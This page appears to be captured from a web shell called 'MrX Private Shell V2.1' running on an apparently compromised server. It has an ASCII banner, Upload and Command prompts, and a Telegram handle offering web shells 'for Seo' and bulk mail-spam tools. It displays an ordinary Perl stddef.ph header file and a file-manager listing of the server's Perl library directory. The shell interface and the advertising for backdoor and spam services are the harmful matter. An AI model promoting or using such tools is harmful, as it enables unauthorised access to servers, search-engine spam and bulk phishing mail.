__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
require '_h2ph_pre.ph';

no warnings qw(redefine misc);

if((!defined(&_STDDEF_H)  && !defined(&_STDDEF_H_)  && !defined(&_ANSI_STDDEF_H)  && !defined(&__STDDEF_H__)) || defined(&__need_wchar_t) || defined(&__need_size_t) || defined(&__need_ptrdiff_t) || defined(&__need_NULL) || defined(&__need_wint_t)) {
    if((!defined(&__need_wchar_t)  && !defined(&__need_size_t)  && !defined(&__need_ptrdiff_t)  && !defined(&__need_NULL)  && !defined(&__need_wint_t))) {
	eval 'sub _STDDEF_H () {1;}' unless defined(&_STDDEF_H);
	eval 'sub _STDDEF_H_ () {1;}' unless defined(&_STDDEF_H_);
	eval 'sub _ANSI_STDDEF_H () {1;}' unless defined(&_ANSI_STDDEF_H);
    }
    unless(defined(&__sys_stdtypes_h)) {
	if(defined(&__NetBSD__)) {
	    require 'machine/ansi.ph';
	}
	if(defined (&__FreeBSD__)) {
	    require 'sys/_types.ph';
	}
	if(defined(&__NetBSD__)) {
	    if(!defined(&_SIZE_T_)  && !defined(&_BSD_SIZE_T_)) {
		eval 'sub _SIZE_T () {1;}' unless defined(&_SIZE_T);
	    }
	    if(!defined(&_PTRDIFF_T_)  && !defined(&_BSD_PTRDIFF_T_)) {
		eval 'sub _PTRDIFF_T () {1;}' unless defined(&_PTRDIFF_T);
	    }
	    if(!defined(&_WCHAR_T_)  && !defined(&_BSD_WCHAR_T_)) {
		unless(defined(&_BSD_WCHAR_T_)) {
		    eval 'sub _WCHAR_T () {1;}' unless defined(&_WCHAR_T);
		}
	    }
	    if(defined (&__need_ptrdiff_t) || defined (&_STDDEF_H_)) {
		undef(&_PTRDIFF_T_) if defined(&_PTRDIFF_T_);
		undef(&_BSD_PTRDIFF_T_) if defined(&_BSD_PTRDIFF_T_);
	    }
	    if(defined (&__need_size_t) || defined (&_STDDEF_H_)) {
		undef(&_SIZE_T_) if defined(&_SIZE_T_);
		undef(&_BSD_SIZE_T_) if defined(&_BSD_SIZE_T_);
	    }
	    if(defined (&__need_wchar_t) || defined (&_STDDEF_H_)) {
		undef(&_WCHAR_T_) if defined(&_WCHAR_T_);
		undef(&_BSD_WCHAR_T_) if defined(&_BSD_WCHAR_T_);
	    }
	}
	if(defined (&__sequent__)  && defined (&_PTRDIFF_T_)) {
	    undef(&_PTRDIFF_T_) if defined(&_PTRDIFF_T_);
	}
	if(defined (&_TYPE_ptrdiff_t)  && (defined (&__need_ptrdiff_t) || defined (&_STDDEF_H_))) {
	    undef(&_TYPE_ptrdiff_t) if defined(&_TYPE_ptrdiff_t);
	}
	if(defined (&_TYPE_size_t)  && (defined (&__need_size_t) || defined (&_STDDEF_H_))) {
	    undef(&_TYPE_size_t) if defined(&_TYPE_size_t);
	}
	if(defined (&_TYPE_wchar_t)  && (defined (&__need_wchar_t) || defined (&_STDDEF_H_))) {
	    undef(&_TYPE_wchar_t) if defined(&_TYPE_wchar_t);
	}
	if(defined (&_STDDEF_H) || defined (&__need_ptrdiff_t)) {
	    unless(defined(&_PTRDIFF_T)) {
		unless(defined(&_T_PTRDIFF_)) {
		    unless(defined(&_T_PTRDIFF)) {
			unless(defined(&__PTRDIFF_T)) {
			    unless(defined(&_PTRDIFF_T_)) {
				unless(defined(&_BSD_PTRDIFF_T_)) {
				    unless(defined(&___int_ptrdiff_t_h)) {
					unless(defined(&_GCC_PTRDIFF_T)) {
					    unless(defined(&_PTRDIFF_T_DECLARED)) {
						unless(defined(&__DEFINED_ptrdiff_t)) {
						    eval 'sub _PTRDIFF_T () {1;}' unless defined(&_PTRDIFF_T);
						    eval 'sub _T_PTRDIFF_ () {1;}' unless defined(&_T_PTRDIFF_);
						    eval 'sub _T_PTRDIFF () {1;}' unless defined(&_T_PTRDIFF);
						    eval 'sub __PTRDIFF_T () {1;}' unless defined(&__PTRDIFF_T);
						    eval 'sub _PTRDIFF_T_ () {1;}' unless defined(&_PTRDIFF_T_);
						    eval 'sub _BSD_PTRDIFF_T_ () {1;}' unless defined(&_BSD_PTRDIFF_T_);
						    eval 'sub ___int_ptrdiff_t_h () {1;}' unless defined(&___int_ptrdiff_t_h);
						    eval 'sub _GCC_PTRDIFF_T () {1;}' unless defined(&_GCC_PTRDIFF_T);
						    eval 'sub _PTRDIFF_T_DECLARED () {1;}' unless defined(&_PTRDIFF_T_DECLARED);
						    eval 'sub __DEFINED_ptrdiff_t () {1;}' unless defined(&__DEFINED_ptrdiff_t);
						    unless(defined(&__PTRDIFF_TYPE__)) {
							eval 'sub __PTRDIFF_TYPE__ () {\'long int\';}' unless defined(&__PTRDIFF_TYPE__);
						    }
						}
					    }
					}
				    }
				}
			    }
			}
		    }
		}
	    }
	    undef(&__need_ptrdiff_t) if defined(&__need_ptrdiff_t);
	}
	if(defined (&_STDDEF_H) || defined (&__need_size_t)) {
	    unless(defined(&__size_t__)) {
		unless(defined(&__SIZE_T__)) {
		    unless(defined(&_SIZE_T)) {
			unless(defined(&_SYS_SIZE_T_H)) {
			    unless(defined(&_T_SIZE_)) {
				unless(defined(&_T_SIZE)) {
				    unless(defined(&__SIZE_T)) {
					unless(defined(&_SIZE_T_)) {
					    unless(defined(&_BSD_SIZE_T_)) {
						unless(defined(&_SIZE_T_DEFINED_)) {
						    unless(defined(&_SIZE_T_DEFINED)) {
							unless(defined(&_BSD_SIZE_T_DEFINED_)) {
							    unless(defined(&_SIZE_T_DECLARED)) {
								unless(defined(&__DEFINED_size_t)) {
								    unless(defined(&___int_size_t_h)) {
									unless(defined(&_GCC_SIZE_T)) {
									    unless(defined(&_SIZET_)) {
										unless(defined(&__size_t)) {
										    eval 'sub __size_t__ () {1;}' unless defined(&__size_t__);
										    eval 'sub __SIZE_T__ () {1;}' unless defined(&__SIZE_T__);
										    eval 'sub _SIZE_T () {1;}' unless defined(&_SIZE_T);
										    eval 'sub _SYS_SIZE_T_H () {1;}' unless defined(&_SYS_SIZE_T_H);
										    eval 'sub _T_SIZE_ () {1;}' unless defined(&_T_SIZE_);
										    eval 'sub _T_SIZE () {1;}' unless defined(&_T_SIZE);
										    eval 'sub __SIZE_T () {1;}' unless defined(&__SIZE_T);
										    eval 'sub _SIZE_T_ () {1;}' unless defined(&_SIZE_T_);
										    eval 'sub _BSD_SIZE_T_ () {1;}' unless defined(&_BSD_SIZE_T_);
										    eval 'sub _SIZE_T_DEFINED_ () {1;}' unless defined(&_SIZE_T_DEFINED_);
										    eval 'sub _SIZE_T_DEFINED () {1;}' unless defined(&_SIZE_T_DEFINED);
										    eval 'sub _BSD_SIZE_T_DEFINED_ () {1;}' unless defined(&_BSD_SIZE_T_DEFINED_);
										    eval 'sub _SIZE_T_DECLARED () {1;}' unless defined(&_SIZE_T_DECLARED);
										    eval 'sub __DEFINED_size_t () {1;}' unless defined(&__DEFINED_size_t);
										    eval 'sub ___int_size_t_h () {1;}' unless defined(&___int_size_t_h);
										    eval 'sub _GCC_SIZE_T () {1;}' unless defined(&_GCC_SIZE_T);
										    eval 'sub _SIZET_ () {1;}' unless defined(&_SIZET_);
										    if(defined (&__FreeBSD__) || defined(&__DragonFly__) || defined(&__FreeBSD_kernel__) || defined(&__VMS__)) {
										    } else {
											eval 'sub __size_t () {1;}' unless defined(&__size_t);
										    }
										    unless(defined(&__SIZE_TYPE__)) {
											eval 'sub __SIZE_TYPE__ () {\'long unsigned int\';}' unless defined(&__SIZE_TYPE__);
										    }
										    if(!(defined (&__GNUG__)  && defined )) {
											if(defined(&__BEOS__)) {
											}
										    }
										}
									    }
									}
								    }
								}
							    }
							}
						    }
						}
					    }
					}
				    }
				}
			    }
			}
		    }
		}
	    }
	    undef(&__need_size_t) if defined(&__need_size_t);
	}
	if(defined (&_STDDEF_H) || defined (&__need_wchar_t)) {
	    unless(defined(&__wchar_t__)) {
		unless(defined(&__WCHAR_T__)) {
		    unless(defined(&_WCHAR_T)) {
			unless(defined(&_T_WCHAR_)) {
			    unless(defined(&_T_WCHAR)) {
				unless(defined(&__WCHAR_T)) {
				    unless(defined(&_WCHAR_T_)) {
					unless(defined(&_BSD_WCHAR_T_)) {
					    unless(defined(&_BSD_WCHAR_T_DEFINED_)) {
						unless(defined(&_BSD_RUNE_T_DEFINED_)) {
						    unless(defined(&_WCHAR_T_DECLARED)) {
							unless(defined(&__DEFINED_wchar_t)) {
							    unless(defined(&_WCHAR_T_DEFINED_)) {
								unless(defined(&_WCHAR_T_DEFINED)) {
								    unless(defined(&_WCHAR_T_H)) {
									unless(defined(&___int_wchar_t_h)) {
									    unless(defined(&__INT_WCHAR_T_H)) {
										unless(defined(&_GCC_WCHAR_T)) {
										    eval 'sub __wchar_t__ () {1;}' unless defined(&__wchar_t__);
										    eval 'sub __WCHAR_T__ () {1;}' unless defined(&__WCHAR_T__);
										    eval 'sub _WCHAR_T () {1;}' unless defined(&_WCHAR_T);
										    eval 'sub _T_WCHAR_ () {1;}' unless defined(&_T_WCHAR_);
										    eval 'sub _T_WCHAR () {1;}' unless defined(&_T_WCHAR);
										    eval 'sub __WCHAR_T () {1;}' unless defined(&__WCHAR_T);
										    eval 'sub _WCHAR_T_ () {1;}' unless defined(&_WCHAR_T_);
										    eval 'sub _BSD_WCHAR_T_ () {1;}' unless defined(&_BSD_WCHAR_T_);
										    eval 'sub _WCHAR_T_DEFINED_ () {1;}' unless defined(&_WCHAR_T_DEFINED_);
										    eval 'sub _WCHAR_T_DEFINED () {1;}' unless defined(&_WCHAR_T_DEFINED);
										    eval 'sub _WCHAR_T_H () {1;}' unless defined(&_WCHAR_T_H);
										    eval 'sub ___int_wchar_t_h () {1;}' unless defined(&___int_wchar_t_h);
										    eval 'sub __INT_WCHAR_T_H () {1;}' unless defined(&__INT_WCHAR_T_H);
										    eval 'sub _GCC_WCHAR_T () {1;}' unless defined(&_GCC_WCHAR_T);
										    eval 'sub _WCHAR_T_DECLARED () {1;}' unless defined(&_WCHAR_T_DECLARED);
										    eval 'sub __DEFINED_wchar_t () {1;}' unless defined(&__DEFINED_wchar_t);
										    if(defined(&_BSD_WCHAR_T_)) {
											undef(&_BSD_WCHAR_T_) if defined(&_BSD_WCHAR_T_);
											if(defined(&_BSD_RUNE_T_)) {
											    if(!defined (&_ANSI_SOURCE)  && !defined (&_POSIX_SOURCE)) {
												eval 'sub _BSD_WCHAR_T_DEFINED_ () {1;}' unless defined(&_BSD_WCHAR_T_DEFINED_);
												eval 'sub _BSD_RUNE_T_DEFINED_ () {1;}' unless defined(&_BSD_RUNE_T_DEFINED_);
												if(defined (&__FreeBSD__)  && ((defined(&__FreeBSD__) ? &__FreeBSD__ : undef) < 5)) {
												    undef(&_BSD_RUNE_T_) if defined(&_BSD_RUNE_T_);
												}
											    }
											}
										    }
										    if(defined (&__FreeBSD__)  && ((defined(&__FreeBSD__) ? &__FreeBSD__ : undef) >= 5)) {
											if(!defined (&_ANSI_SOURCE)  && !defined (&_POSIX_SOURCE)) {
											    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
												unless(defined(&_RUNE_T_DECLARED)) {
												    eval 'sub _RUNE_T_DECLARED () {1;}' unless defined(&_RUNE_T_DECLARED);
												}
											    }
											}
										    }
										    unless(defined(&__WCHAR_TYPE__)) {
											eval 'sub __WCHAR_TYPE__ () {\'int\';}' unless defined(&__WCHAR_TYPE__);
										    }
										    unless(defined(&__cplusplus)) {
										    }
										}
									    }
									}
								    }
								}
							    }
							}
						    }
						}
					    }
					}
				    }
				}
			    }
			}
		    }
		}
	    }
	    undef(&__need_wchar_t) if defined(&__need_wchar_t);
	}
	if(defined (&__need_wint_t)) {
	    unless(defined(&_WINT_T)) {
		eval 'sub _WINT_T () {1;}' unless defined(&_WINT_T);
		unless(defined(&__WINT_TYPE__)) {
		    eval 'sub __WINT_TYPE__ () {\'unsigned int\';}' unless defined(&__WINT_TYPE__);
		}
	    }
	    undef(&__need_wint_t) if defined(&__need_wint_t);
	}
	if(defined(&__NetBSD__)) {
	    if(defined(&_GCC_PTRDIFF_T_)) {
		undef(&_PTRDIFF_T_) if defined(&_PTRDIFF_T_);
		undef(&_BSD_PTRDIFF_T_) if defined(&_BSD_PTRDIFF_T_);
	    }
	    if(defined(&_GCC_SIZE_T_)) {
		undef(&_SIZE_T_) if defined(&_SIZE_T_);
		undef(&_BSD_SIZE_T_) if defined(&_BSD_SIZE_T_);
	    }
	    if(defined(&_GCC_WCHAR_T_)) {
		undef(&_WCHAR_T_) if defined(&_WCHAR_T_);
		undef(&_BSD_WCHAR_T_) if defined(&_BSD_WCHAR_T_);
	    }
	    if(defined(&_GCC_PTRDIFF_T)) {
		undef(&_PTRDIFF_T_) if defined(&_PTRDIFF_T_);
		undef(&_BSD_PTRDIFF_T_) if defined(&_BSD_PTRDIFF_T_);
	    }
	    if(defined(&_GCC_SIZE_T)) {
		undef(&_SIZE_T_) if defined(&_SIZE_T_);
		undef(&_BSD_SIZE_T_) if defined(&_BSD_SIZE_T_);
	    }
	    if(defined(&_GCC_WCHAR_T)) {
		undef(&_WCHAR_T_) if defined(&_WCHAR_T_);
		undef(&_BSD_WCHAR_T_) if defined(&_BSD_WCHAR_T_);
	    }
	}
    }
    if(defined (&_STDDEF_H) || defined (&__need_NULL)) {
	undef(&NULL) if defined(&NULL);
	if(defined(&__GNUG__)) {
	    eval 'sub NULL () { &__null;}' unless defined(&NULL);
	} else {
	    unless(defined(&__cplusplus)) {
		eval 'sub NULL () {(( &void *)0);}' unless defined(&NULL);
	    } else {
		eval 'sub NULL () {0;}' unless defined(&NULL);
	    }
	}
    }
    undef(&__need_NULL) if defined(&__need_NULL);
    if(defined(&_STDDEF_H)) {
	undef(&offsetof) if defined(&offsetof);
	eval 'sub offsetof {
	    my($TYPE, $MEMBER) = @_;
    	    eval q( &__builtin_offsetof ($TYPE, $MEMBER));
	}' unless defined(&offsetof);
	if((defined (&__STDC_VERSION__)  && (defined(&__STDC_VERSION__) ? &__STDC_VERSION__ : undef) >= 201112) || (defined(&__cplusplus)  && (defined(&__cplusplus) ? &__cplusplus : undef) >= 201103)) {
	    unless(defined(&_GCC_MAX_ALIGN_T)) {
		eval 'sub _GCC_MAX_ALIGN_T () {1;}' unless defined(&_GCC_MAX_ALIGN_T);
		if(defined(&__i386__)) {
		}
	    }
	}
	if(defined(&__cplusplus)  && (defined(&__cplusplus) ? &__cplusplus : undef) >= 201103) {
	    unless(defined(&_GXX_NULLPTR_T)) {
		eval 'sub _GXX_NULLPTR_T () {1;}' unless defined(&_GXX_NULLPTR_T);
	    }
	}
	if(defined (&__STDC_VERSION__)  && (defined(&__STDC_VERSION__) ? &__STDC_VERSION__ : undef) > 201710) {
	    unless(defined(&_GCC_NULLPTR_T)) {
		eval 'sub _GCC_NULLPTR_T () {1;}' unless defined(&_GCC_NULLPTR_T);
	    }
	    unless(defined(&__STDC_VERSION_STDDEF_H__)) {
		eval 'sub unreachable () {
		    eval q(( &__builtin_unreachable ()));
		}' unless defined(&unreachable);
		eval 'sub __STDC_VERSION_STDDEF_H__ () {202311;}' unless defined(&__STDC_VERSION_STDDEF_H__);
	    }
	}
    }
}
1;

Filemanager

Name Type Size Permission Actions
B Folder 0755
CORE Folder 0755
Compress Folder 0755
Data Folder 0755
Devel Folder 0755
Digest Folder 0755
Encode Folder 0755
File Folder 0755
Filter Folder 0755
Hash Folder 0755
I18N Folder 0755
IO Folder 0755
IPC Folder 0755
List Folder 0755
MIME Folder 0755
Math Folder 0755
PerlIO Folder 0755
Scalar Folder 0755
Sub Folder 0755
Sys Folder 0755
Time Folder 0755
Unicode Folder 0755
asm Folder 0755
asm-generic Folder 0755
auto Folder 0755
bits Folder 0755
gnu Folder 0755
linux Folder 0755
machine Folder 0755
sys Folder 0755
threads Folder 0755
B.pm File 30.61 KB 0644
Config.pm File 3.24 KB 0644
Config.pod File 255.15 KB 0644
Config_git.pl File 409 B 0644
Config_heavy.pl File 57.4 KB 0644
Cwd.pm File 21.11 KB 0644
DB_File.pm File 64.87 KB 0644
DynaLoader.pm File 25.41 KB 0644
Encode.pm File 31.43 KB 0644
Errno.pm File 6.41 KB 0644
Fcntl.pm File 18.72 KB 0644
GDBM_File.pm File 20.22 KB 0644
IO.pm File 1.43 KB 0644
NDBM_File.pm File 3.01 KB 0644
O.pm File 4.19 KB 0644
ODBM_File.pm File 2.9 KB 0644
Opcode.pm File 16 KB 0644
POSIX.pm File 19.96 KB 0644
POSIX.pod File 83.34 KB 0644
SDBM_File.pm File 3.72 KB 0644
Socket.pm File 37.56 KB 0644
Storable.pm File 49.31 KB 0644
_h2ph_pre.ph File 17 KB 0644
attributes.pm File 15.97 KB 0644
encoding.pm File 22.41 KB 0644
endian.ph File 3.54 KB 0644
errno.ph File 23 B 0644
features-time64.ph File 1.04 KB 0644
features.ph File 16 KB 0644
lib.pm File 5.99 KB 0644
mro.pm File 9.61 KB 0644
ops.pm File 997 B 0644
re.pm File 28.33 KB 0644
signal.ph File 3.62 KB 0644
stdarg.ph File 3.22 KB 0644
stdc-predef.ph File 1.19 KB 0644
stddef.ph File 12.78 KB 0644
syscall.ph File 86 B 0644
sysexits.ph File 1.26 KB 0644
syslimits.ph File 452 B 0644
syslog.ph File 85 B 0644
threads.pm File 37.07 KB 0644
unistd.ph File 10.12 KB 0644
wait.ph File 83 B 0644
Filemanager